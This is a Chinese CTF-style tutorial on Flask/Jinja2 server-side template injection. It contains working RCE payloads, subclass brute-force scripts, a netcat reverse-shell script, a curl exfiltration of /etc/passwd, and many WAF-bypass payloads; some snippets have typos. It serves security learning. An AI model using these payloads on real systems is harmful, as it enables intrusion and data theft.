SSTI通天指北

Python Flask变量及方法

我们这里使用python的venv环境来进行学习测试

  1. 创建虚拟环境:可以使用venv模块的venv函数来创建一个新的虚拟环境。例如,使用以下命令创建一个名为”myenv”的虚拟环境
    1
    python -m venv flask2
  2. 激活虚拟环境:在创建虚拟环境后,可以激活它以开始使用。激活虚拟环境将更改当前命令行会话中Python解释器和安装包的路径。根据操作系统的不同,激活命令也不同:
    1
    2
    在Windows上:执行flask2\Scripts\activate.bat
    在Linux/macOS上:执行source flask2/bin/activate
  3. 退出虚拟环境:当不再需要虚拟环境时,可以使用以下命令退出虚拟环境:
    1
    deactivate
1
2
3
4
5
6
7
8
from flask import Flask
app = Flask(__name__)

@app.route('/hello')
def hello():
return "hello benben"
if __name__=='__main__ ':
app.run(debug=True)

通过向规则参数添加变量部分,可以动态构建URL

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from flask import Flask
app = Flask(__name__)

@app.route('/hello/<name>')
def hello(name):
return "hello %s" % name
@app.route('/int/<int:postID>')
def id(postID):
return " %d " % postID
@app.route('/rev/<float:revNo>')
def id(revNo):
return "Revision Number %f " % revNo

if __name__=='__main__':
app.run(debug=True)

其中<name>变量获取到值后就会传参给hello(name)
127.0.0.1:5000/hello/动态变量
%s 格式化字符串 %d 整数 %f 浮点值

Flask HTTP方法

Http协议是万维网中数据通信的基础。在该协议中定义了从指定URL检索数据的不同方法。

在demo.py的同级目录下创建一个templates文件夹,里面放入一个index.html,其内容为

1
2
3
4
5
6
7
8
9
10
<!DOCTYPE html>
<html>
<body>
<form action="http://localhost:5000/login" method="post">
<p>Enter Name:</p>
<p><input type="text" name="user"></p>
<p><input type="submit" value="submit"></p>
</form>
</body>
</html>

而demo.py则为:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from flask import Flask,redirect,url_for,request,render_template
app = Flask(__name__)

@app.route('/')
def index():
return render_template("index.html")
@app.route('/success/<name>')
def success(name):
return 'welcome %s' % name
@app.route('/login',methods = ['POST','GET'])
def login():
if request.method == 'POST':
print(1)
user = request.form['user']
return redirect(url_for('success',name = user))
else:
print(2)
user = request.args.get('user')
return redirect(url_for('success',name = user))
if __name__=='__main__':
app.run(debug=True)

可以POST提交也可以GET提交,用redirect重定向/success/user
POST提交用户名:127.0.0.1:5000

GET提交用户名:127.0.0.1:5000/login?user=lhq

flask模板介绍

视图函数的主要作用是生成请求的响应,需要处理业务逻辑和返回响应内容
把业务逻辑和表现内容放在一起,会增加代码的复杂度和维护成本。

1
2
3
4
5
6
7
8
def hello():
return "hello benben"

def index():
return render_template("index.html")

def success(name):
return 'welcome %s' % name

使用模板:使用静态的页面html展示动态的内容
模板是一个响应文本的文件,其中占用符(变量)表示动态部分,告诉模板引擎其具体的值需要从使用的数据中获取。
使用真实值替换变量,再返回最终得到的字符串,这个过程称为”渲染”。
Flask使用Jinja2这个模板引擎来渲染模板。
这样视图函数只负责业务逻辑和数据处理,而模板取到视图函数的数据结果来进行展示
这样可以让代码结构清晰,耦合度低
render_template:
加载html文件。默认文件路径在templates目录下,在templates目录下创建index.html文件

demo.py:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from flask import Flask,render_template,request
app = Flask(__name__)

@app.route('/',methods = ['GET'])
def index():
my_str = request.args.get('lhq')
my_int = 12
my_array = [5,2,0,1,3,1,4]
my_dict = {
'name':'2js56',
'age':20
}
# 往模板中传入数据,字符串,列表,字典
return render_template('index.html',my_str=my_str,my_int=my_int,my_array=my_array,my_dict=my_dict)
# render_template方法:渲染模板 参数1:模板名称index.html 参数2:传到模板里的数据
if __name__=='__main__':
app.run(debug=True)

index.html:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<!DOCTYPE html>
<html>
<head>
<mate charest="utf-8">
<title>Title</title>
</head>
<body>
模板展示页面
<br>
{{my_str}}
<br>
{{my_int}}
<br>
{% set a='dazhuang'%}
{{a}}
<br>
{{my_array}}
<br>
{{my_dict}}
</body>
</html>


render_template_string
用于渲染字符串,直接定义内容

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from flask import Flask,render_template,request,render_template_string
app = Flask(__name__)

@app.route('/',methods = ['GET'])
def index():
my_str = request.args.get('lhq')
my_int = 12
my_array = [5,2,0,1,3,1,4]
my_dict = {
'name':'2js56',
'age':20
}
return render_template_string('<html lang="en"><head><meta charset="UTF-8"><title>Title</title></head><body>模板html展示页面<br>%s</body></html>' % my_str)
if __name__=='__main__':
app.run(debug=True)

模板注入漏洞介绍

flask代码不严谨导致SSTI,可能造成任意文件读取和RCE远程控制后台系统
漏洞成因:渲染模板时,没有严格控制对用户的输入;
flask是基于python开发的一种web服务器,那么也就意味着如果用户可以和flask进行交互的话,就可以执行python的代码,比如eval,system,file等等等等之类的函数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from flask import Flask,request,render_template_string
app = Flask(__name__)

@app.route('/',methods = ['GET'])
def index():
str = request.args.get('lhq')
html_str = '''
<html>
<head></head>
<body>{{sttr}}</body>
</html>
'''
return render_template_string(html_str,sttr=str)
if __name__=='__main__':
app.debug = True
app.run('127.0.0.1','8080')

GET方式获取lhq的值,赋值给str
str值通过render_template_string加载到body中间
str是被{{}}包裹起来的,会被预先渲染转义,然后才输出,不会被渲染执行;

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from importlib.resources import contents
from flask import Flask,request,render_template_string
import time
app = Flask(__name__)

@app.route('/',methods = ['GET'])
def index():
str = request.args.get('lhq')
html_str = '''
<html>
<head></head>
<body>{0}</body>
</html>
'''.format(str)
return render_template_string(html_str)
if __name__=='__main__':
app.debug = True
app.run('127.0.0.1','8080')

str值通过format()函数填充到body中间
{}里可以定义任何参数
return render_template_string会把{}内的字符串当成代码指令
此时输入url:http://127.0.0.1:8080/?lhq={{7*7}}{{7*7}}会被当成指令执行,回显为49
http://127.0.0.1:8080/?lhq={{%27%27.__class__.__mro__}}被当成指令来执行

SSTI
服务器端模板注入(Server-Side Template Injection),实际上也是一个注入漏洞。
判断SSTI类型:

python继承关系和魔术方法

继承关系

父类和子类
子类 调用父类下的其他子类
Python flask脚本没办法直接执行python指令

1
2
classA->object->classB->Eval函数
子类 -> 父类 -> 子类

object是父子关系的顶端,所有的数据类型最终的父类都是object

1
2
3
4
5
6
7
8
9
10
11
12
13
class A:pass
class B(A):pass
class C(B):pass
class D(B):pass
c = C()
# 子类(父类)
print(c.__class__)
print(c.__class__.__base__)
print(c.__class__.__base__.__base__)
print(c.__class__.__base__.__base__.__base__)
print(c.__class__.__mro__)
print(c.__class__.__mro__[1].__subclasses__())
print(c.__class__.__mro__[1].__subclasses__()[1])

print(c.__class__)的运行结果是<class '__main__.C'> 输出当前类C
print(c.__class__.__base__)的运行结果是<class '__main__.B'>,输出类C的父类B
print(c.__class__.__base__.__base__)的运行结果是<class '__main__.A'>,输出类C的父类的父类A
print(c.__class__.__base__.__base__.__base__)的运行结果是<class 'object'>,此为最终的父类
print(c.__class__.__mro__)的运行结果是(<class '__main__.C'>, <class '__main__.B'>, <class '__main__.A'>, <class 'object'>),即罗列当前类及其所有父类
print(c.__class__.__mro__[1].__subclasses__())的结果为[<class '__main__.C'>, <class '__main__.D'>],输出类C的mro中的第2个父类B的所有子类
print(c.__class__.__mro__[1].__subclasses__()[1])的结果为<class '__main__.D'>在,调用类B的第2个子类D

魔术方法

1
2
3
4
5
6
__class__# 查找当前类型的所属对象
__base__# 沿着父子类的关系往上走一个
__mro__# 查找当前类对象的所有继承类
__subclasses__()# 查找父类下的所有子类
__init__# 查看类是否重载,重载是指程序在运行时就已经加载好了这个模块到内存中,如果出现wrapper字眼,说明没有重载
__globals__# 函数会以字典的形式返回当前对象的全部全局变量

常用注入模块:

ssti测试用例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from flask import Flask, render_template, request, render_template_string

app = Flask(__name__)

@app.route('/ssti', methods=['GET', 'POST'])
def sb():
template = '''
<div class="center-content error">
<h1>This is ssti! %s</h1>
</div>
''' % request.args["x"]

return render_template_string(template)

if __name__ == '__main__':
app.debug = True
app.run()

最常用的一个模块是:os._wrap_close
传入参数:?x={{''.__class__.__base__.__subclasses__()}`,将结果复制到编辑器,把逗号`,`替换为`\n`,则可通过行号知道我们需要的模块的编号 ![](https://cdn.jsdelivr.net/gh/2js56/PictureBed@master/images/20230926215023.png) 在第145行 于是`?x={{''.__class__.__base__.__subclasses__()[144]}}得到我们想要的os._wrap_close
再加上.__init__,没有出现wrapper字眼,说明已经重载,再加上.__globals__,查看全部全局变量,有哪些可以使用的方法函数等

构造payload:

1
?x={{''.__class__.__base__.__subclasses__()[144].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('ls').read()")}}

__builtins__提供对Python的所有”内置”标识符的直接访问
eval()计算字符串表达式的值
__import__加载os模块
popen()执行一个shell以运行命令来开启一个进程

SSTI常用注入模块

文件读取

查找子类:<class '_frozen_importlib_external.FileLoader'>
POST

1
2
3
4
5
6
7
8
9
10
11
12
import requests
url = input("Enter the url: ")
for i in range(500):
data = {"x": "{{().__class__.__base__.__subclasses__()["+str(i)+"]}}"}
try:
response = requests.post(url, data=data)
#print(response.text)
if response.status_code == 200:
if '_frozen_importlib_external.FileLoader' in response.text:
print(i)
except:
pass

GET

1
2
3
4
5
6
7
8
9
10
11
12
import requests
url = input("Enter the url: ")
for i in range(500):
param = {"x": "{{().__class__.__base__.__subclasses__()["+str(i)+"]}}"}
try:
response = requests.get(url, params=param)
#print(response.text)
if response.status_code == 200:
if '_frozen_importlib_external.FileLoader' in response.text:
print(i)
except:
pass

其中的参数x根据题目变化而变化,而_frozen_importlib_external.FileLoader则替换为自己想要查找的模块名字

FileLoader的利用

1
["get_data"](0,"/etc/passwd")

调用get_data方法,传入参数0和文件路径
{{config}}通过这个查看配置文件里面有没有flag

内建函数eval执行命令

内建函数: python在执行脚本时自动加载的函数
python脚本查看可利用内建函数eval的模块
GET

1
2
3
4
5
6
7
8
9
10
11
12
import requests
url = input("Enter the url: ")
for i in range(500):
param = {"x": "{{().__class__.__base__.__subclasses__()["+str(i)+"].__init__.__globals__['__builtins__']}}"}
try:
response = requests.get(url, params=param)
#print(response.text)
if response.status_code == 200:
if 'eval' in response.text:
print(i)
except:
pass

POST

1
2
3
4
5
6
7
8
9
10
11
12
import requests
url = input("Enter the url: ")
for i in range(500):
data = {"x": "{{().__class__.__base__.__subclasses__()["+str(i)+"].__init__.__globals__['__builtins__']}}"}
try:
response = requests.post(url, data=data)
#print(response.text)
if response.status_code == 200:
if 'eval' in response.text:
print(i)
except:
pass

Payload:

1
{{().__class__.__base__.__subclasses__()["+str(i)+"].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("cat /etc/passwd").read()')}}

os模块执行命令

在其他函数中直接调用os模块
通过config,调用os

1
{{config.__class__.__init__.__globals__['os'].popen('whoami').read()}}

通过url_for,调用os

1
{{url_for.__globals__.os.popen('whoami').read()}}

在已经加载os模块的子类里直接调用os模块

1
{{".__class__.__base__[0].__subclasses__()[199].__init__.__globals__['os'].popen("Is -l /opt").read()}}

脚本查找已经加载os模块的子类:
GET

1
2
3
4
5
6
7
8
9
10
11
12
import requests
url = input("Enter the url: ")
for i in range(500):
param = {"x": "{{().__class__.__base__.__subclasses__()["+str(i)+"].__init__.__globals__}}"}
try:
response = requests.get(url, params=param)
#print(response.text)
if response.status_code == 200:
if 'os.py' in response.text:
print(i)
except:
pass

POST

1
2
3
4
5
6
7
8
9
10
11
12
import requests
url = input("Enter the url: ")
for i in range(500):
data = {"x": "{{().__class__.__base__.__subclasses__()["+str(i)+"].__init__.__globals__}}"}
try:
response = requests.post(url, data=data)
#print(response.text)
if response.status_code == 200:
if 'os.py' in response.text:
print(i)
except:
pass

improtlib类执行命令

可以加载第三方库,使用load_module加载os
通过python脚本查找_frozen_importlib.BuiltinImporter
然后加上["load_module"]("os")["popen"]("ls -l /opt").read()

linecache函数执行命令

linecache函数可用于读取任意一个文件的某一行,而这个函数中也引入了os模块,所以我们也可以利用这个linecache函数去执行命令。
和eval函数一样的脚本将eval替换掉即可,然后在后面加上['linecache']['os'].popen("Is -l /").read()

subprocess.Popen

从python2.4版本开始,可以用subprocess这个模块来产生子进程,并连接到子进程的标准输入/输出/错误中去,还可以得到子进程的返回值。
subprocess意在替代其他几个老的模块或者函数,比如: os.system、os.popen等函数。
用python脚本查找subprocess.Popen类
然后在后面添加('ls /',shell=True,stdout=-1).communicate()[0].strip()

绕过过滤双大括号

{% %}使用介绍:
{% %}是属于flask的控制语句,且以{% end... %}结尾,可以通过在控制语句定义变量或者写循环,判断。
示例:
demo.py:

1
2
3
4
5
6
7
8
9
10
11
from flask import Flask, render_template
app=Flask(__name__)

@app.route('/')
def show1():
girls = ['如花','李冰冰','杨幂','孙艺珍','郭德纲']
return render_template('index.html',girls=girls)

if __name__ == '__main__':
app.debug = True
app.run()

index.html:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<!DOCTYPE html>
<html lang="en">
<head>
<mate charest="utf-8">
<title>演示控制块</title>
</head>
<body>
<ul>
{% for girl in girls %}
<li>{{ girl }}</li>
{% endfor %}
</ul>>
</body>
</html>


判断语句
可以在index.html页面中的title下面插入一段

1
2
3
4
5
6
style>
.a{
color:red;
font-weight: bold;
}
</style>

将控制块改为:

1
2
3
4
5
6
7
{% for girl in girls %}
{% if girl|length >=3 %}
<li class="a">{{ girl }}</li>li>
{% else %}
<li>{{ girl }}</li>
{% endif %}
{% endfor %}

得到结果

当进行SSTI时,发现{{}}被过滤,尝试{% %},判断语句能否正常执行

1
{% if 2>1 %}lhq{% endif %}

显示lhq说明正常执行

1
{% if ''.__class__ %}lhq{% endif %}

回显lhq说明''.__class__有内容
那么可以构造:

1
{%if ''.__class__.__base__.__subclasses__()['+str(i)+'].__init__.__globals__["popen"]("cat /etc/passwd").read() %}lhq{% endif %}

如果有回显lhq说明命令正常执行
编写脚本:
POST

1
2
3
4
5
6
7
8
9
10
11
12
import requests
url = input("Enter the url: ")
for i in range(500):
try:
data = {"code": '{%if ''.__class__.__base__.__subclasses__()['+str(i)+'].__init__.__globals__["popen"]("cat /etc/passwd").read() %}lhq{% endif %}'}
response = requests.post(url, data=data)
if response.status_code == 200:
if 'lhq' in response.text:
print(i,"--->",data)
break
except:
pass

GET

1
2
3
4
5
6
7
8
9
10
11
12
import requests
url = input("Enter the url: ")
for i in range(500):
try:
param = {"code": '{%if ''.__class__.__base__.__subclasses__()['+str(i)+'].__init__.__globals__["popen"]("cat /etc/passwd").read() %}lhq{% endif %}'}
response = requests.get(url, params=param)
if response.status_code == 200:
if 'lhq' in response.text:
print(i,"--->",data)
break
except:
pass

查找object下面的子类的某一个能直接调用globals下面的popen指令
得到结果后,print()执行命令

1
{% print(''.__class__.__base__.__subclasses__()['+str(i)+'].__init__.__globals__["popen"]("cat /etc/passwd").read()) %}

无回显SSTI

SSTI盲注思路

  1. 反弹shell
    通过rce反弹一个shell出来绕过无回显的页面
  2. 带外注入
    通过requestbin或dnslog的方式将信息传到外界
  3. 纯盲注
    总共只有两个页面,一个命令执行正确,一个命令执行错误的页面

反弹shell

无回显,直接使用脚本批量执行希望执行的命令
先在kali上执行

1
nc -lvp 7777

然后运行脚本:

1
2
3
4
5
6
7
8
import requests
url = input("Enter the url: ")
for i in range(500):
try:
data = {"code": '{{().__class__.__base__.__subclasses__()['+str(i)+'].__init__.__globals__["popen"]("netcat 172.21.159.207 7777 -e /bin/bash").read()}}'}
response = requests.post(url, data=data)
except:
pass

查找包含popen的子类执行命令
for i in range循环执行,当遇到包含popen的子类时,直接执行netcat kaliIP 7777 -e /bin/bash,监听主机收到反弹shell进入对方命令行界面

带外注入

此处使用wget方法来带外想要知道的内容,也可以使用dnslog或者nc。
kali开一个python http监听

1
python3 -m http.server 80

运行脚本

1
2
3
4
5
6
7
8
9
import requests
url = input("Enter the url: ")
for i in range(500):
try:
data = {"code": '{{().__class__.__base__.__subclasses__()['+str(i)+'].__init__.__globals__["popen"]("curl http://172.21.155.46/`cat /etc/passwd`").read()}}'}
#反引号命令执行
response = requests.post(url, data=data)
except:
pass

纯盲注

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import requests
url = input("Enter the url: ")
def check(payload):
postdata = {
'code':payload
}
response = requests.post(url,data=postdata)
if 'lhq' in response.text:
return '1'
# check检查是否response回复有lhq
password = ''
s = r'0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!"$\'()*+,-./:;<=>?@[\\]^`{|}~\'"_%'
for i in range(100):
for c in s:
payload = '{% if "".__class__.base__[0].__subclasses__()[199].__init__.__globals__["os"].popen("cat /etc/passwd").read()['+str[i]+':'+str[i+1]+'] == "'+c+'" %}lhq{% endif %}'
#命令执行成功后对比c与s的值,==比对成功则回复lhq
if check(payload):
password += c
break
# check检测成功则赋值给password
print(password)

getitem绕过中括号过滤

__getitem__()魔术方法:
getitem()是python的一个魔法方法,对字典使用时,传入字符串,返回字典相应键所对应的值;当对列表使用时,传入整数返回列表对应索引的值。

1
2
3
4
5
6
7
8
9
10
11
12
13
class test():
def __init__(self):
self.a={
'1':'大壮',
'2':'老王',
'3':'老李'
}
def __getitem__(self,key):
b = self.a[key]
return b
t = test()
print(t['2'])
//系统会自动调用__getitem__方法

若中括号被过滤,则当payload执行到{{''.__class__.__base__.__subclasses__()[]}}时会遭遇WAF,但是由于我们的subclasses查询的结果是一个list,所以我们使用__getitem__(117),来代替中括号的作用

request绕过单双引号过滤

request在flask中可以访问基于HTTP请求传递的所有信息
此request并非python的函数,而是在flask内部的函数
demo.py:

1
2
3
4
5
6
7
8
from flask import Flask, render_template,request
app=Flask(__name__)
@app.route('/',methods=['GET','POST'])
def show1():
return render_template('index.html')
if __name__ == '__main__':
app.debug = True
app.run()

index.html:

1
2
3
4
5
6
7
8
9
10
11
12
13
<!DOCTYPE html>
<html lang="en">
<head>
<mate charest="utf-8">
<title>过滤器的使用</title>
</head>
<body>
<br>
获取get提交数据:{{request.args.lhq}}
<br>
获取post提交数据:{{request.form.lhq}}
</body>
</html>


在构造payload时大多会用到单双引号
先通过脚本查找request模块所在位置
'os._wrap_close'内可以执行,因此查找该模块位置

1
2
3
4
5
6
7
8
9
10
11
12
import requests
url = input("Enter the url: ")
for i in range(500):
data = {"code": "{{().__class__.__base__.__subclasses__()["+str(i)+"]}}"}
try:
response = requests.post(url, data=data)
#print(response.text)
if response.status_code == 200:
if '_wrap_close' in response.text:
print(i,"----->",response.text)
except:
pass

如果被过滤,则可以构造

1
code={{().__class__.__base__.__subclasses__()[117].__init__.__globals__[request.args.lhq](request.args.cmd).read()}}

同时通过get提交参数?lhq=popen&cmd=cat flag
post同理,无非就是将参数一起提交

1
code={{().__class__.__base__.__subclasses__()[117].__init__.__globals__[request.form.lhq](request.form.cmd).read()}}&lhq=popen&cmd=cat flag

cookie方式

1
code={{().__class__.__base__.__subclasses__()[117].__init__.__globals__[request.cookie.lhq](request.cookie.cmd).read()}}

同时提交cookie:lhq=popen;cmd=cat flag

attr过滤器绕过下划线过滤

过滤器通过管道符号(|)与变量连接,并且在括号中可能有可选的参数。
flask常用过滤器:

1
2
3
4
5
6
7
8
9
10
11
length():#获取一个序列或者字典的长度并将其返回;
int():#将值转换为int类型;
float():#将值转换为float类型;
lower():#将字符串转换为小写;
upper():#将字符串转换为大写;
reverse():#反转字符串;
replace(value,old,new):#将value中的old替换为new;
list():#将变量转换为列表类型;
string():#将变量转换成字符串类型;
join():#将一个序列中的参数值拼接成字符串,通常有python内置的dict()配合使用;
attr():#获取对象的属性。

app.py:

1
2
3
4
5
6
7
8
9
10
11
12
from flask import Flask, render_template, request
app=Flask(__name__)

@app.route('/',methods=['GET','POST'])
def show1():
girls = ['如花','李冰冰','杨幂','孙艺珍','郭德纲']
users = ['lhq','LINGHUAQIAN']
return render_template('index.html',girls=girls,users=users)

if __name__ == '__main__':
app.debug = True
app.run()

index.html:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<!DOCTYPE html>
<html lang="en">
<head>
<mate charest="utf-8">
<title>过滤器的使用</title>
</head>
<body>
当前用户总共:{{ girls|length }}人
<br>
{{ girls.append('小美') }}
<br>
当前用户总共:{{ girls|length }}人
<br>
大写转换:{{ users|upper}}
</body>
</html>

输出:

1
2
3
4
当前用户总共:5人
None
当前用户总共:6人
大写转换:['LHQ', 'LINGHUAQIAN']

想要绕过下划线过滤,此处需要用到attr():#获取对象的属性。

  1. 使用request方法
    {{().__class__.__base__}}等价于POST提交{{()|attr(request.args.class)|attr(request.args.base)}}加上GET提交?class=__class__&base=__base__
    所以可知
    1
    2
    3
    4
    5
    原始payload:
    {{''.__class__.__base__.__subclasses__().__getitem__(117).__init__.__globals__.__getitem__('popen')('cat flag').read()}}
    绕过payload:
    POST:code={{''|attr(request.args.cla)|attr(request.args.bas)|attr(request.args.sub)()|attr(request.args.geti)(117)|attr(request.args.ini)|attr(request.args.glo)|attr(request.args.geti)('popen')('cat /etc/passwd')|attr(read)()}}
    GET:URL?cla=__class__&bas=__base__&sub=__subclasses__&geti=__getitem__&ini=__init__&glo=__globals__
  2. 使用unicode编码
    1
    2
    3
    4
    原始payload:
    {{()|attr("__class__")|attr("__base__")|attr("__subclasses__")()|attr("__getitem__")(199)|attr("__init__")|attr("__globals__")|attr("__getitem__")("os")|attr("popen")("Is")|attr("read")()}}
    unicode编码后的:
    {{()|attr("\u005f\u005f\u0063\u006c\u0061\u0073\u0073\u005f\u005f")|attr("\u005f\u005f\u0062\u0061\u0073\u0065\u005f\u005f")|attr("\u005f\u005f\u0073\u0075\u0062\u0063\u006c\u0061\u0073\u0073\u0065\u0073\u005f\u005f")()|attr("\u005f\u005f\u0067\u0065\u0074\u0069\u0074\u0065\u006d\u005f\u005f")(199)|attr("\u005f\u005f\u0069\u006e\u0069\u0074\u005f\u005f")|attr("\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f")|attr("\u005f\u005f\u0067\u0065\u0074\u0069\u0074\u0065\u006d\u005f\u005f")("os")|attr("popen")("Is")|attr("read")()}}
  3. 使用16位编码
    同理下划线转为16进制\x5f即可,此处就不再演示
  4. 格式化字符串
    例如:
    {{().__class__}}等同于{{()|attr("%c%cclass%c%c"%(95,95,95,95))}},其余payload依次类推

中括号绕过点’.’过滤

  • 用中括号[]代替点
    python语法除了可以使用点’.’来访问对象属性外,还可以使用中括号’[]’。
    1
    2
    3
    4
    原始payload:
    {{''.__class__.__base__.__subclasses__().[117].__init__.__globals__.['popen']('cat flag').read()}}
    绕过payload:
    {{''['__class__']['__base__']['__subclasses__']()[117]['__init__']['__globals__']['popen']('cat flag')['read']()}}
  • 用attr()绕过
    payload语句中不会用到点’.’和中括号’[]’
    上面的绕过下划线就使用了attr过滤器,这里就不再赘述

绕过关键字过滤

过滤了"class" "arg" "form" "value" "init" "global"等关键字
"__class__"为例

  1. 字符编码(前面提过,就不再提了)
  2. 最简单拼接”+”:'__cl'+'ass__'
  3. 使用Jinja2中的"~"进行拼接:
    {% set a="__cla" %}{% set b="ss__" %}{{a~b}}
  4. 使用过滤器(reverse反转、replace替换、join拼接等):
    {% set a="__ssalc__"|reverse %}{{()[a]}}
    {% set a="__claee__"|replace("ee","ss") %}{{()[a]}}
    {% set a=dict(__cla=a,ss__=a)|join %}{{()[a]}}
    {% set a=['__cla','ss__']|join %}{{()[a]}}
  5. 利用python的char():
    {% set chr=url_for.__globals__['__builtins__'].chr %}{{""[chr(95)%2bchr(95)%2bchr(99)%2bchr(108)%2bchr(97)%2bchr(115)%2bchr(115)%2bchr(95)%2bchr(95)]}}
    先用url_for找到内建函数中的chr功能赋值给chr,然后再用chr解码

length过滤器绕过数字过滤

示例demo.py

1
2
3
4
5
6
7
8
from flask import Flask, render_template,request
app=Flask(__name__)
@app.route('/',methods=['GET','POST'])
def show1():
return render_template('index.html')
if __name__ == '__main__':
app.debug = True
app.run()

示例index.html

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<!DOCTYPE html>
<html lang="en">
<head>
<mate charest="utf-8">
<title>过滤器的使用</title>
</head>
<body>
<br>
字符串个数:{% set a='aaaaaaaaaa'|length %}{{a}}
<br>
字符串个数:{% set a='aaaaaaaaaa'|length*'aaa'|length %}{{a}}
<br>
字符串个数:{% set a='aaaaaaaaaa'|length*'aaaaaaaaaaaa'|length-'aaa'|length %}{{a}}
</body>
</html>

输出结果:

1
2
3
字符串个数:10
字符串个数:30
字符串个数:117

检测到数字过滤,则可以知道

1
2
3
4
原始payload:
{{''.__class__.__base__.__subclasses__()[199].__init__.__globals__['os'].popen('ls /').read()}}
绕过payload:
{% set a='aaaaaaaaaa'|length*'aaaaaaaaaa'|length*'aa'|length-'a'|length %}{{''.__class__.__base__.__subclasses__()[a].__init__.__globals__['os'].popen('ls /').read()}}

获取config文件

flag可能隐藏在config文件内,{{config}}无过滤情况下可以直接查看
flask内置函数:lipsum:可加载第三方库,url_for:可返回url路径,get_flashed_message:可获取消息
flask内置对象:cycler,joiner,namespace,config,request,session
可利用已加载内置函数或对象寻找被过滤字符串
可利用内置函数调用current_app模块进而查看配置文件
调用current_app相当于调用flask

1
2
{{url_for.__globals__['current_app'].config}}
{{get_flashed_messages.__globals__['current_app'].config}}

混合过滤绕过介绍

dict()和join
dict():# 用来创建一个字典
join:# 将一个序列中的参数值拼接成字符串

1
2
{% set a=dict(lhq=1) %}{{a}}  //创建字典a,键名lhq,键值1。
{% set a=dict(__cla=1,ss__=2)|join %}{{a}} //创建字典a,join把参数值拼接成字符串

获取符号
利用flask内置函数和对象获取符号

1
2
3
4
5
6
{% set lhq = ({}|select()|string()) %}{{lhq}}
# 获取下划线
{% set lhq = (self|string()) %}{{lhq}}
#获取空格
{% set lhq = (self|string|urlencode) %}{{lhq}}
#获取百分号

index.html:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<!DOCTYPE html>
<html lang="en">
<head>
<mate charest="utf-8">
<title>获取符号
</title>
</head>
<body>
<br>
{% set lhq = ({}|select()|string()) %}{{lhq}}
<br>
{% set lhq = (self|string()) %}{{lhq}}
<br>
{% set lhq = (self|string|urlencode) %}{{lhq}}
<br>
{% set lhq = (app.__doc__|string) %}{{lhq}}
</body>
</html>

输出结果:

1
2
3
<generator object select_or_reject at 0x0000021F14707060>
<TemplateReference 'index.html'>
%3CTemplateReference%20%27index.html%27%3E

结果中存在我们想要的符号,那么要如何获取呢,此时需要用到我们的list
例如:{% set lhq = ({}|select()|string()|list) %}{{lhq}}
得到的回显是['<', 'g', 'e', 'n', 'e', 'r', 'a', 't', 'o', 'r', ' ', 'o', 'b', 'j', 'e', 'c', 't', ' ', 's', 'e', 'l', 'e', 'c', 't', '_', 'o', 'r', '_', 'r', 'e', 'j', 'e', 'c', 't', ' ', 'a', 't', ' ', '0', 'x', '0', '0', '0', '0', '0', '2', '1', 'F', '1', '4', '7', '0', '6', 'E', 'A', '0', '>'],可以看见其被拆分开了,此时我们调用lhq[24],即可得到_
示例解析一
WAF过滤',",+,request,.,[,]
',"我们可以使用request方法,或者dict,join拼接,+也可以使用dict,join拼接绕过,request被过滤那么就不能使用request方法了,.我们可以使用中括号绕过,但是[,]也被过滤,那我们只能使用attr过滤器来绕过了,然后使用getitem方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
原始payload:
{{().__class__.__base__.__subclasses__()[117].__init__.__globals__['popen']('cat flag').read()}}
构造payload:
{% set a=dict(__class__=1)|join %}
{% set b=dict(__base__=1)|join %}
{% set c=dict(__subclasses__=1)|join %}
{% set d=dict(__getitem__=1)|join %}
{% set e=dict(__in=1,it__=2)|join %}
{% set f=dict(__glo=1,bals__=2)|join %}
{% set g=dict(popen=1)|join %}
{% set h={}|select()|string()|attr(d)(10) %}
{% set i=(dict(cat=1)|join,h,dict(flag=1)|join)|join %}
{% set j=dict(read=1)|join %}
{{()|attr(a)|attr(b)|attr(c)()|attr(d)(117)|attr(e)|attr(f)|attr(d)(g)(i)|attr(j)()}}

实例解析二
WAF过滤',",_,0-9,.,[,], ,\
{{lipsum|string|list}},第9位是空格,第18位是下划线
我们可以

1
2
3
{% set nine=dict(aaaaaaaaa=a)|join|count %}
{% set eightteen=nine+nine %}
{{nine,eightnine}}

通过这样的方法构造出9和18
获取下划线:
{% set a=lipsum|string|list|attr('__getitem__')(18) %}{{a}}
可以用pop代替getitem
{% set a=lipsum|string|list|attr('pop')(18) %}{{a}}
所以:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
原始payload:
{{lipsum|attr("__globals__")|attr("__getitem__")("os")|attr("popen")("cat flag")|attr("read")()}}
构造payload:
{% set nine=dict(aaaaaaaaa=a)|join|count %}`
{% set eightteen=nine+nine %}
{% set pop=dict(pop=a)|join %}
{% set xhx=(lipsum|string|list)|attr(pop)(eighteen) %}
{% set kg=(lipsum|string|list)|attr(pop)(nine)%}
//得到下划线xhx和空格kg
{% set glo=(xhx,xhx,dict(globals=a)|join,xhx,xhx)|join %}
//得到'__globals__'
{% set glo=(xhx,xhx,dict(getitem=a)|join,xhx,xhx)|join %}
//得到'__getitem__'
{% set os=dict(os=a)|join %}
//得到'os'
{% set popen=dict(popen=a)|join %}
//得到'popen'
{% flag=(dict(cat=a)|join,kg,dict(flag=a)|join)|join %}
//得到'cat flag'
{% read=dict(read=a)|join %}
//得到'read'
{{lipsum|attr(globals)|attr(getitem)(os)|attr(popen)(flag)|attr(read)()}}
//得到最终payload

python debug pin码计算

首先需要存在文件包含或文件读取的漏洞,且开启debug功能
demo.py:

1
2
3
4
5
6
7
8
